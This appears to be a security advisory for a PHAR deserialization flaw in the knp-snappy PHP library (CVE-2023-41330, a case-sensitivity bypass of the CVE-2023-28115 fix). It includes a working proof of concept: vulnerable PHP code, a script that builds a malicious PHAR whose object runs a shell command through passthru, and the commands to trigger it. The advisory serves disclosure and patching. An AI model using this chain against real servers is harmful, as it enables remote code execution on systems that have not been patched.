Headline
CVE-2023-41330: PHAR deserialization allowing remote code execution
knplabs/knp-snappy is a PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page.
Issue
On March 17th the vulnerability CVE-2023-28115 was disclosed, allowing an attacker to gain remote code execution through PHAR deserialization. Version 1.4.2 added a check if (\strpos($filename, 'phar://') === 0)
in the prepareOutput
function to resolve this CVE, however if the user is able to control the second parameter of the generateFromHtml()
function of Snappy, it will then be passed as the $filename
parameter in the prepareOutput()
function. In the original vulnerability, a file name with a phar://
wrapper could be sent to the fileExists()
function, equivalent to the file_exists()
PHP function. This allowed users to trigger a deserialization on arbitrary PHAR files. To fix this issue, the string is now passed to the strpos()
function and if it starts with phar://
, an exception is raised. However, PHP wrappers being case insensitive, this patch can be bypassed using PHAR://
instead of phar://
. A successful exploitation of this vulnerability allows executing arbitrary code and accessing the underlying filesystem. The attacker must be able to upload a file and the server must be running a PHP version prior to 8. This issue has been addressed in commit d3b742d61a
which has been included in version 1.4.3. Users are advised to upgrade. Users unable to upgrade should ensure that only trusted users may submit data to the AbstractGenerator->generate(...)
function.
Package
composer KnpLabs/snappy (Composer)
Affected versions
<= 1.4.1
Patched versions
>= 1.4.2
Description
snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.
Proof of Concept
Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.
<?php // index.php
// include autoloader require __DIR__ . '/vendor/autoload.php’;
// reference the snappy namespace use Knp\Snappy\Pdf;
// vulnerable object class VulnerableClass { public $fileName; public $callback;
function \_\_destruct() {
call\_user\_func($this\->callback, $this\->fileName);
}
}
$snappy = new Pdf(‘/usr/local/bin/wkhtmltopdf’); // generate pdf from html content and save it at phar://poc.phar $snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>’, ‘phar://poc.phar’);
As an attacker, we going to generate the malicious phar using this script.
<?php // generate_phar.php
class VulnerableClass { } // Create a new instance of the Dummy class and modify its property $dummy = new VulnerableClass(); $dummy->callback = "passthru"; $dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name @unlink(“poc.phar”);
// Create a new archive $poc = new Phar(“poc.phar”);
// Add all write operations to a buffer, without modifying the archive on disk $poc->startBuffering();
// Set the stub $poc->setStub(“<?php echo 'Here is the STUB!’; __HALT_COMPILER();”);
// Add a new file in the archive with “text” as its content $poc[“file”] = "text";
// Add the dummy object to the metadata. This will be serialized $poc->setMetadata($dummy);
// Stop buffering and write changes to disk $poc->stopBuffering(); ?>
Then run these command to generate the file
php --define phar.readonly=0 generate_phar.php
Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.
Impact
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
Occurences
protected function fileExists($filename)
References
- https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/
Related news
## Issue On March 17th the vulnerability [CVE-2023-28115 was disclosed](https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc), allowing an attacker to gain remote code execution through PHAR deserialization. To fix this issue, the version 1.4.2 was released with an additional check in the affected function to prevent the usage of the `phar://` wrapper. However, because PHP wrappers are case-insensitive and the patch only checks the presence of the `phar://` string, it can be bypassed to achieve remote code execution again using a different case. As for the initial vulnerability, PHP 7 or below is required for a successful exploitation using the deserialization of PHP archives metadata via the `phar://` wrapper. ## Technical details ### Description The following [patch](https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6) was committed on the 1.4.2 release to fix CVE-2023-28115. ![patch](https://user-images.githubusercontent.com/1...